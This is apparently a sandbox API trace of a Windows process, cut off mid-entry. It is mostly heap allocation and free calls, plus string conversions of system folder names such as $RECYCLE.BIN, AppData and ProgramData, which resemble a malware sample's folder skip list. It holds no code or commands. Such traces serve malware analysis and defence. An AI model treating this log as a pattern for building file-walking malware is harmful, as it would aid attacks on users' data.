[0259.635] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec1f8) returned 1 [0259.635] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed2c8) returned 1 [0259.636] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec1b0) returned 1 [0259.636] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed2d8) returned 1 [0259.636] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec168) returned 1 [0259.636] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed298) returned 1 [0259.636] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.636] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed288) returned 1 [0259.636] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec240) returned 1 [0259.636] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed278) returned 1 [0259.636] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.636] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed268) returned 1 [0259.636] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.636] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed258) returned 1 [0259.636] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebc08) returned 1 [0259.636] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.636] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.636] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.636] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.636] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.636] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.636] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.636] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.636] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.636] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.636] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.636] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.636] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.636] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.636] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x10) returned 0x8ed5e8 [0259.636] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed258 [0259.636] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.636] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed268 [0259.636] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.636] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed278 [0259.636] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec240 [0259.636] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed288 [0259.636] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.636] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x20) returned 0x8ebc08 [0259.636] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed5e8) returned 1 [0259.636] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed298 [0259.636] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec168 [0259.637] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed2d8 [0259.637] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec1b0 [0259.637] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed2c8 [0259.637] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec1f8 [0259.637] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec5e8) returned 1 [0259.637] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed248) returned 1 [0259.637] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec630) returned 1 [0259.637] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed238) returned 1 [0259.637] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec678) returned 1 [0259.637] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed228) returned 1 [0259.637] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec6c0) returned 1 [0259.637] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed218) returned 1 [0259.637] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec708) returned 1 [0259.637] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed208) returned 1 [0259.637] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec750) returned 1 [0259.637] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed1e8) returned 1 [0259.637] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec798) returned 1 [0259.637] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed1f8) returned 1 [0259.637] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0xdf5058) returned 1 [0259.637] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x20) returned 0xdf5058 [0259.637] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed1f8 [0259.637] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec798 [0259.637] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed1e8 [0259.637] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec750 [0259.637] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed208 [0259.637] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec708 [0259.637] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed218 [0259.637] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec6c0 [0259.637] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed228 [0259.637] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec678 [0259.637] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed238 [0259.637] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec630 [0259.637] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed248 [0259.637] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec5e8 [0259.637] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.637] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed258) returned 1 [0259.637] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.637] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed268) returned 1 [0259.637] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec240) returned 1 [0259.638] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed278) returned 1 [0259.638] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.638] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed288) returned 1 [0259.638] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec168) returned 1 [0259.638] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed298) returned 1 [0259.638] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec1b0) returned 1 [0259.638] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed2d8) returned 1 [0259.638] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec1f8) returned 1 [0259.638] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed2c8) returned 1 [0259.638] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebc08) returned 1 [0259.638] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x20) returned 0x8ebc08 [0259.638] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed2c8 [0259.638] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec1f8 [0259.638] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed2d8 [0259.638] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec1b0 [0259.638] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed298 [0259.638] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec168 [0259.638] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed288 [0259.638] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.638] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed278 [0259.638] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec240 [0259.638] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed268 [0259.638] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.638] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed258 [0259.638] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.638] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec798) returned 1 [0259.638] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed1f8) returned 1 [0259.638] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec750) returned 1 [0259.638] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed1e8) returned 1 [0259.638] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec708) returned 1 [0259.638] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed208) returned 1 [0259.638] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec6c0) returned 1 [0259.638] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed218) returned 1 [0259.638] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec678) returned 1 [0259.638] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed228) returned 1 [0259.638] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec630) returned 1 [0259.638] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed238) returned 1 [0259.638] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec5e8) returned 1 [0259.638] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed248) returned 1 [0259.638] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0xdf5058) returned 1 [0259.639] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0xdf2850) returned 1 [0259.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8ec1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0259.639] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8edae0 [0259.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8ec1f8, cbMultiByte=25, lpWideCharStr=0x8edae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0259.639] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8edb68 [0259.639] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8edae0) returned 1 [0259.639] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x10) returned 0x8ed5e8 [0259.639] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed248 [0259.639] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8edae0 [0259.639] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8edb68) returned 1 [0259.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8ec1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0259.639] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8edb68 [0259.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8ec1b0, cbMultiByte=12, lpWideCharStr=0x8edb68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0259.639] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8edbf0 [0259.639] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8edb68) returned 1 [0259.639] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed238 [0259.639] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8edb68 [0259.639] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8edbf0) returned 1 [0259.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8ec168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0259.639] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8edbf0 [0259.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8ec168, cbMultiByte=8, lpWideCharStr=0x8edbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0259.639] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8edc78 [0259.639] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8edbf0) returned 1 [0259.639] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed228 [0259.639] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8edbf0 [0259.639] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8edc78) returned 1 [0259.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8ec120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0259.639] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8edc78 [0259.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8ec120, cbMultiByte=6, lpWideCharStr=0x8edc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0259.639] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8edd00 [0259.639] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8edc78) returned 1 [0259.639] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed218 [0259.639] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8edc78 [0259.639] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8edd00) returned 1 [0259.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8ec240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0259.639] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8edd00 [0259.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8ec240, cbMultiByte=11, lpWideCharStr=0x8edd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0259.639] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8edd88 [0259.640] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8edd00) returned 1 [0259.640] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x20) returned 0x8edd00 [0259.640] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed5e8) returned 1 [0259.640] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed208 [0259.640] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8ede28 [0259.640] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8edd88) returned 1 [0259.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8ec0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0259.640] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8edeb0 [0259.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8ec0d8, cbMultiByte=7, lpWideCharStr=0x8edeb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0259.640] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8edf38 [0259.640] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8edeb0) returned 1 [0259.640] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed1e8 [0259.640] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8edeb0 [0259.640] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8edf38) returned 1 [0259.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8ec288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0259.640] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8edf38 [0259.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8ec288, cbMultiByte=11, lpWideCharStr=0x8edf38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0259.640] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8edfc0 [0259.640] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8edf38) returned 1 [0259.640] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed1f8 [0259.640] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x80) returned 0x8edf38 [0259.640] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8edfc0) returned 1 [0259.640] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec1f8) returned 1 [0259.640] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed2c8) returned 1 [0259.640] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec1b0) returned 1 [0259.640] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed2d8) returned 1 [0259.640] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec168) returned 1 [0259.640] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed298) returned 1 [0259.640] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.640] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed288) returned 1 [0259.640] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec240) returned 1 [0259.640] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed278) returned 1 [0259.640] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.640] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed268) returned 1 [0259.640] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.640] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed258) returned 1 [0259.641] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ebc08) returned 1 [0259.641] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x2800) returned 0xdf2850 [0259.641] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.641] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.641] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x10) returned 0x8ed5e8 [0259.641] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed258 [0259.641] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.641] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.641] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.641] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.641] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed258) returned 1 [0259.641] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed5e8) returned 1 [0259.641] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0xdf2850) returned 1 [0259.641] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x2800) returned 0xdf2850 [0259.641] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.641] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.641] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.641] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x10) returned 0x8ed5e8 [0259.641] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed258 [0259.641] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.641] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.641] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.641] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed268 [0259.641] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec240 [0259.641] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.641] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.641] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed278 [0259.641] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.641] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.641] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed288 [0259.641] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.641] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x10) returned 0x8ed618 [0259.641] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed298 [0259.641] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec168 [0259.641] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed2d8 [0259.641] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec1b0 [0259.641] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed2c8 [0259.641] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec1f8 [0259.642] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed2e8 [0259.642] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec5e8 [0259.642] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.642] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed258) returned 1 [0259.642] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec240) returned 1 [0259.642] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed268) returned 1 [0259.642] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.642] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed278) returned 1 [0259.642] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.642] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed288) returned 1 [0259.642] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed5e8) returned 1 [0259.642] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.642] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.642] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.642] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.642] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.642] RtlFreeHeap 